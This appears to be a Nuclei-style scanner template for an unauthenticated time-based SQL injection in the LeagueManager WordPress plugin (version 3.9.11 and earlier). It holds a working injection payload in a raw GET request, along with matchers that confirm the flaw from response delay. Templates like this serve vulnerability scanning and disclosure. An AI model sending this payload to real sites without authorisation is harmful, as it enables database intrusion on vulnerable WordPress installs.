漏洞描述
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
id: leaguemanager-sql-injection
info:
name: LeagueManager <= 3.9.11 - SQL Injection
author: theamanrawat
severity: critical
description: |
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
reference:
- https://wpscan.com/vulnerability/f3be48f5-ae2c-4e27-80ca-664829b8fba3
- https://wordpress.org/plugins/leaguemanager/
metadata:
verified: true
max-request: 1
tags: time-based-sqli,wpscan,sqli,wp,wp-plugin,wordpress,leaguemanager,unauth,vuln
http:
- raw:
- |
@timeout: 10s
GET /?season=1&league_id=1season=1&league_id=1'+AND+(SELECT+1909+FROM+(SELECT(SLEEP(6)))ZiBf)--+qODp&match_day=1&team_id=1&match_day=1&team_id=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "LeagueManagerAjaxL10n")'
condition: and
# digest: 4b0a00483046022100f126a8dc8003189074e53f494d13ffa8aa4d3bf2d49248375b08450a081cbe89022100b20fac208bbfa1d80cdc39165b8fbe801d7c35adb8423befdaaacb6ff7c880bd:922c64590222798bb761d5b6d8e72950